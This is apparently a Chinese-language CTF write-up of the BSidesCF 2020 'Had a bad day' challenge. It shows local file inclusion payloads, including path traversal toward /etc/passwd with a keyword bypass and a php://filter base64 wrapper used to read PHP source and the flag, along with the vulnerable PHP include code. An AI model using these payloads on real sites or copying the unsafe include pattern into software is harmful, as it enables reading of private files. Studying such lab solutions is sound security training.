[BSidesCF 2020]Had a bad day 1
首先打开题目得到:
通过测试发现在url处有:
疑似文件包含尝试:
../../../../etc/password
得到:
所以绕过这个限制
?category=woofers/../../../../etc/password
发现报错了于是就用php伪协议试试读取index.php
解码得到php源码:
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
发现只有检测到woofers、meowers、index时才能进行include进行文件包含
尝试一下看有没有flag.php文件:
?category=woofers/../flag
没有报错证明文件存在
而且:
再次利用php伪协议读取文件flag:
php://filter/convert.base64-encode/index/resource=flag
解码得到flag: